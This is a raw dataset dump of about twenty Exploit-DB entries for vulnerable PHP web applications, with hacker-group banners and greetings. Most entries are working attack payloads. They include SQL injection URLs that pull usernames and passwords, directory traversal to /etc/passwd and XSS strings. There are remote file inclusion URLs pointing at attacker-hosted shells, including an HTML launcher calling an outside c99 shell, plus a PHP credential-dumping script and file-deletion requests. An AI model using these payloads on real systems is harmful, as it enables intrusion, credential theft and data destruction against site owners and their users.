deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11660
Description: PHP File Sharing System 1.5.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-09
Author: blake

Exploit:
Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities
Author: blake
Tested on: Windows XP SP3 with xampplite


1) XSS
http://192.168.1.149/fss/index.php?cam=

2) Directory transversal
http://192.168.1.149/fss/index.php?cam=/../../../../../../../..

3) Shell through file upload
can upload php shell, click on file, and get shell

4) can intercept requests using proxy and delete system files

intercept request in webscarab

GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=./uploads/reverse_shell_windows.php HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=

and modify

GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=log.txt HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=
Exploit-DB #33986
Description: PHP File Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-03
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40159/info

PHP File Uploader is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately limit the types of files that are uploaded.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks may also possible. 

http://www.example.com/PHPFileUploader/_uploads/ch99.php__2010-01-02_10.00am.php
Exploit-DB #40163
Description: PHP File Vault 0.9 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-07-26
Author: N_A

Exploit:
PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty 
==================================================================================


Discovered by N_A, N_A[at]tutanota.com
======================================




Description
===========


A very small PHP website application which stores anonymously uploaded files and retrieves them by SHA1 hash (a fingerprint of the file which is provided after uploading). Developed for anonysource.org , a kanux project.

https://sourceforge.net/projects/php-file-vault



Vulnerability
=============


The vulnerability exists within the fileinfo.php file of the package:


A A A  if (empty($_GET['sha1'])) die("sha1 is required to get file info");
A A A  $sha1 = trim($_GET['sha1']);


the 'sha1' variable is requested via the GET method. It is passed as a variable to the 'parseFileInfo' function. This function incorporates a call to
the fopen() function within PHP:



A A A  A A A  function parseFileInfo($fi) {
A A A  A A A  $fh = fopen($fi,'r');
A A A  A A A  $fname = trim(fgets($fh));
A A A  A A A  fclose($fh);
A A A  A A A  return array($fname);
A A A  A A  }



The parseFileInfo() function is called within the file fileinfo.php with the 'sha1' variable inside:

A A A  A A A  if (!is_readable(FI.$sha1)) die("cannot read file info!");
A A A  A A A  list($fname) = parseFileInfo(FI.$sha1);

A A A  A A A  readfile('head.html');

A A A  A A A  if ($fname) echo "<h1><a href=\"/$sha1\">$fname</a></h1>";


This is the vulnerability that allows parts of *any world readable* file to be read by a remote attacker.

Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.


Proof Of Concept
================

PoC exploit = http://127.0.0.1/htdocs/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Exploit-DB #3906
Description: PHP FirstPost 0.1 - 'block.php?Include' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-12
Author: Dj7xpl

Exploit:
<html>
<head>
<title>..:: PhpFirstPost blog   Remote File Include Exploit ::..</title>

<script language="JavaScript">

/*


        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   PhpFirstPost 0.1
[!] Download :   http://sourceforge.net/projects/phpfirstpost/
[!] Type     :   Remote File Include Exploit

---------------------------------------------------------------------

*/

 var path="/"
 var adress="block.php?" 
 var include ="Include=" 
 var phpshell="http://dj7xpl.by.ru/shell/c99.php?" 

 function command(){
     if (document.rfi.target1.value==""){
        alert("Exploit Failed...");
    return false;
  }



rfi.action= document.rfi.target1.value+path+adress+include+phpshell;
rfi.submit(); 
 }
</script>

</head>

<body bgcolor="#198ccd">
<center>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
  <b><font face="batangche" size="3" color="white">Target:</font><font
face="Arial" size="2"
color="white">http://Target.ir/blog</font><br><br>
<font color="#00FF00"size="+1" face="batangche">
</font>
<font color="red" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
white" onmouseover="javascript:this.style.background='red';"
onmouseout="javascript:this.style.background='red';"></p>
<p>
<input type="submit" value="Go -->" name="B1">
<input type="reset" value="Clear" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p><br><br>
<p><font color="red" size="2" face="batang">Dj7xpl @ Yahoo . com </font></p>
</center>
</body>
</html>

# milw0rm.com [2007-05-12]
Exploit-DB #36044
Description: PHP Flat File Guestbook 1.0 - 'ffgb_admin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-08-11
Author: RiRes Walid

Exploit:
source: https://www.securityfocus.com/bid/49138/info

PHP Flat File Guestbook is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/ffgb_admin.php?book_id=http://shell?
Exploit-DB #10720
Description: PHP Football 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHP Football Version : 1.0 Cross Site Scripting Vulnerability           |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : PHP Football Version : 1.0 http://www.nextdesign.eu.org/                |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1:80/PHPfootball/scripts/news.mainnews.php?dbfield=Content&dbtable=News&Id=1<ScRiPt+src=http://127.0.0.1/xss.js?[PII_REDACTED]60></ScRiPt>
| 2- http://127.0.0.1/PHPfootball/scripts/filter.php?dbtable=Games&dbfield=1%00"'><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&style=normal
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #2058
Description: PHP Forge 3 Beta 2 - 'cfg_racine' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-22
Author: Virangar Security

Exploit:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
phpforge3b2(cfg_racine) Remote File Inclusion Vulnerability
------------------------
Virangar Security Team
www.virangar.org >public
www.virangar.net >priv8
--------
Discoverd By : Snake & hadihadi_zedehal
contact  :  Snake.Apollyon@YaHo0.com  ** hadihadi_zedehal_2006@YaHo0.com
special tnx 2: A.Nosrati * l0pht.Blackhot * Kouros.virus & all virangar members
greetz:hadi_aryaie2004 * ahmad_virangar2004  * mahtab_e66
---------
bug found in file :gabarits.php
Remote : Yes
Critical Level : Dangerous
web:http://phpforge.oirac.com/
---------
vlu codes:
include_once($cfg_racine."inc/systeme.php");
---------

http://www.victim.com/[patch]/inc/gabarits.php?cfg_racine=[evil script]

--------
See you in Hell!!.....
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

# milw0rm.com [2006-07-22]
Exploit-DB #5504
Description: PHP Forge 3 Beta 2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-26
Author: JIKO

Exploit:
=========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Forge 3.0 bÃªta
# Bug   : Remote SQL Injection Vulnerability
# Download  : http://membres.lycos.fr/phpforge/downloads/phpforge3b2.tar.gz
=========================JIkI Team===================
# Exploit  :
 http://[Site]/[script]/http://localhost/script/phpforge3/admin.php?module=news&p=modifier&id=-1 union select 0,identifiant,mdp,pseudo,email,description,6,7 from membres--
# Ex :
http://localhost/script/phpforge3/admin.php?module=news&p=modifier&id=-1  union  select  0,1,database(),3,4,5,6,7  from  membres--
=========================================================
 greetz:
 all my friend [kil1er & GhosT HaCkEr] and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
=========================================================

# milw0rm.com [2008-04-26]
Exploit-DB #857
Description: PHP Form Mail 2.3 - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2005-03-05
Author: Filip Groszynski

Exploit:
Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

# milw0rm.com [2005-03-05]
Exploit-DB #41591
Description: PHP Forum Script 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Forum Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/php-forum-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pfs&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&column=[SQL]created&direction=DESC
# Etc..
# # # # #
Exploit-DB #26867
Description: PHP Fusebox 3.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: bogel & lukman

Exploit:
source: https://www.securityfocus.com/bid/15924/info

PHP Fusebox is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?action=%3Ch1%3E%3Cmarquee%3Ehalooo%3C/marquee%3E%3C/h1%3E
Exploit-DB #12634
Description: PHP Gamepage - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: v4lc0m87

Exploit:
*************************************************************************
 ,                               
 |       ,---. ,   . |---. ,---. ,---.   ,---. ,---. ,---. ,   .   ,
 |  ---  |     |   | |   | |---' |       |     |     |---' |   |   |
 |       `---' `---| `---' `---' `       `---' `     `---' `---`---
 `             `---'                                                   
*************************************************************************
[V] PHP Gamepage SQL Injection Vulnerability

			--==[ Author ]==--
[+] Author	: v4lc0m87
[+] Contact	: valcom87[at]gmail[dot]com
[+] Group	: INDONESIAN CYBER
[+] Site	: http://indonesian-cyber.org/
[+] Date	: May, 17-2010 [INDONESIA]

*************************************************************************
			--==[ Details ]==--

[+] Vulnerable	: SQL Injection
[+] Google Dork	: inurl:index.php?title=gamepage

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] -111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user--

[-] Remote SQLi p0c:
[+] http://127.0.0.1/index.php?title=gamepage&m=-111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user--
    

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

INDONESIAN-CYBER.ORG | DEVILZC0DE.ORG | INDONESIANHACKER.ORG | HACKER-CISADANE.ORG | TECON-CREW.ORG

[V] thx to:
SaruKusai (putus nyambung terus,hahha) MarilynMesum (smoga jadi bassis terbaik)
Team m0n0n banci kamera(clase_1214n,c4uR,astroboyyy,aldy182,vhesckot_1601)
Bocah tua nakal (mbah l4mpor,awchoy)
flyff666 cruz3N petimati spykit v3n0m uzanc
kokoh wisdom (program jadi rokok 3 slop marlboro menthol wkwkwkwk)
blue screen, skutengboy (kalian pasangan yg serasi, jikakakakakk)
[K]urabu[S]aru [RnR] cO2 community
and y0u !!
Exploit-DB #3217
Description: PHP Generic library & Framework - 'INCLUDE_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-28
Author: Mehmet Ince

Exploit:
-----------------------------------------------

PhP Generic library & framework (include_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz

-----------------------------------------------

Code:

require $GLOBALS[include_path]."configmember.php";
require $GLOBALS[include_path]."inc-membreManager.php";

-----------------------------------------------

POC:

www.[target].com/[script_pat]/membres/membreManager.php?include_path=http://evilscripts?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=72529

-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir çoçuk xoron.

-----------------------------------------------

# milw0rm.com [2007-01-28]
Exploit-DB #18519
Description: PHP Gift Registry 1.5.5 - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-24
Author: G13

Exploit:
# Exploit Title: PHP Gift Registry 1.5.5 SQL Injection
# Date: 02/22/12
# Author: G13
# Software Link: https://sourceforge.net/projects/phpgiftreg/
# Version: 1.5.5
# Category: webapps (php)
#

##### Vulnerability #####

The userid parameter in the users.php file is vulnerable to SQL 
Injection.

A user must be signed in to exploit this.

##### Exploit #####

http://localhost/phpgiftreg/users.php?action=edit&userid=[SQLi]
Exploit-DB #18647
Description: PHP Grade Book 1.9.4 - SQL Database Export
Type: webapps
Platform: php
Date: 2012-03-22
Author: Mark Stanislav

Exploit:
'PHP Grade Book' Unauthenticated SQL Database Export (CVE-2012-1670)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in admin/index.php that allows for an unauthenticated user to export the entire application database by accessing the 'Database Backup' method without restriction. Due to the way sessions are handled, an attacker can then simply pass the username and password-hash via cookies to assume the administrative role without ever knowing the clear-text version of the password.

 
II. TESTED VERSION
---------------------------------------
1.9.4


III. PoC EXPLOIT
---------------------------------------
http://localhost/phpGradeBook/admin/index.php?action=SaveSQL


IV. SOLUTION
---------------------------------------
Upgrade to 1.9.5 or above.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/php-gradebook/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1670


VI. TIMELINE
---------------------------------------
02/29/2012 - Initial vendor disclosure
02/29/2012 - Vendor response and commitment to fix
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure
Exploit-DB #12719
Description: PHP Graphy 0.9.7 - 'index.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2010-05-24
Author: Sn!pEr.S!Te Hacker

Exploit:
# ----------------------oOO---(_)---OOo-----------------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Sn!pEr.S!Te /____/ 2o1o |
# ------------------------------------------------------------
Remote Command Execution Vulnerability
# ------------------------------------------------------------
--------------------------------------------------------------
PHP Graphy <== 0.9.7 (index.php)

--------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #
# [+] Email : sniper-site@HoTMaiL.coM #
# [+] T34M Sn!pEr.S!Te Hacker #
# [+] 24-5-2010 #
# [+] Script : lmage »PHP Graphy#
# [+] Download:http://sourceforge.net/projects/phpgraphy/files/phpgraphy/0.9.7/phpgraphy-0.9.7.tar.gz/download #
# Version: [0.9.7] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=

Exploit : phpgraphy-0.9.7\index.php

http://localhost/phpgraphy-0.9.7/index.php?root_dir=[your command]

http://127.0.0.1/phpgraphy-0.9.7/index.php?root_dir=[your command]


system("cat \"".$root_dir.$display."_comment\"");

line : 791

web site Favorites my : http://inj3ct0r.com/ & http://www.hack0wn.com/ & http://www.exploit-db.com

================== Greetz : all my friend ===================
* PrX Hacker * Sm Hacker * AbUbAdR * mAsH3L ALLiL * saleh Hacker * ALhal alsab |
* HitLer.3rb * QAHER ALRAFDE * DjHacker * Mr.JLD* Mr.koka |
Exploit-DB #26467
Description: PHP Handicapper (2005) - 'Process_signup.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2005-11-03
Author: BiPi_HaCk

Exploit:
source: https://www.securityfocus.com/bid/15301/info

PHP Handicapper is vulnerable to an HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

http://www.example.com/front/process_signup.php?login=[CRLF]
Exploit-DB #6080
Description: PHP Help Agent 1.1 - 'content' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-15
Author: BeyazKurt

Exploit:
#####################################################
# Author : BeyazKurt
# Contact : Djm-sut@Hotmail.Com
#
# Script : php Help Agent (v1.1 Full & 1.0)
# Risk : Local File Include
# Download : http://sourceforge.net/projects/phphelpagent/
#
# File : include/head_chat.inc.php
#
# Code :
# <?php
#     if(file_exists($content)) {
#   include($content);
#     }
# ?>
#
# Exploit :
#
#  Vuln.Com/include/head_chat.inc.php?content=../../../../etc/passwd
#
# /* Hack Is Not Crime! */
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#                      Proud 2 Be ALBANIAN
#                      4Ever FENERBAHÃ‡E (H)
#
# Z0ne-H gicik v1 is public :D (Download NetkabuS.CoM)
# Not : Fuck off pala! aq lameri.
#
# Thnx : All Muslims Albanian & Turkish Coder..
# Thnx : dArkSAnqelSu | anladin sen onu anladin... :)
#
#######################################################

# milw0rm.com [2008-07-15]
Exploit-DB #30735
Description: PHP Helpdesk 0.6.16 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-03
Author: joseph.giron13

Exploit:
source: www.securityfocus.com/bid/26318/info

PHP Helpdesk is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

PHP Helpdesk 0.6.16 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?whattodo=../../../../../../../../../../../etc/passwd%00
Exploit-DB #4501
Description: PHP Homepage M 1.0 - 'galerie.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-10-08
Author: [PHCN] Mahjong

Exploit:
<?php
if ($argv[1] == '')
{
echo "--PHP Homepage M V.1.0 galerie.php Exploit----\n";
echo "only with magic_quotes_gpc OFF\n";
echo "by [PHCN] Mahjong\n";
echo "Usage : phpHPmv1.php http://127.0.0.1 / 1\n";
echo '----------------------------------------------';
}
else
{
$host = $argv[1];
$path = $argv[2];
$userid = $argv[3];

$data = $host.$path."galerie.php?act=show&id=99999'+UNION+SELECT+username,passwort,passwort,passwort+FROM+user+WHERE+U ID='$userid";
$data = file_get_contents($data);
$pw = substr($data,strpos($data,'<img border="0" src=\'bilder/')+28,30);
$pw = explode('.',$pw);
$pw = $pw[0];
$user = substr($data,strpos($data,'UID=\''.$userid.'\'<h1 align="center">',30));
$user = explode('>',$user);
$user = strrev($user[1]);
$user = substr($user,4,100);
$user = strrev($user);

echo "--EXPLOIT FINISHED--\n";
echo "userid : $userid\n";
echo "username: $user\n";
echo "password: $pw\n";
echo '--------------------';
}


?>

# milw0rm.com [2007-10-08]
Exploit-DB #30200
Description: PHP Hosting Biller 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-18
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24517/info

Php Hosting Biller is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Php Hosting Biller 1.0; other versions may also be vulnerable. 

http://www.example.com/app_path/index.php/%3E%22%3E%3CScRiPt%3Ealert(1234)%3C/ScRiPt%3E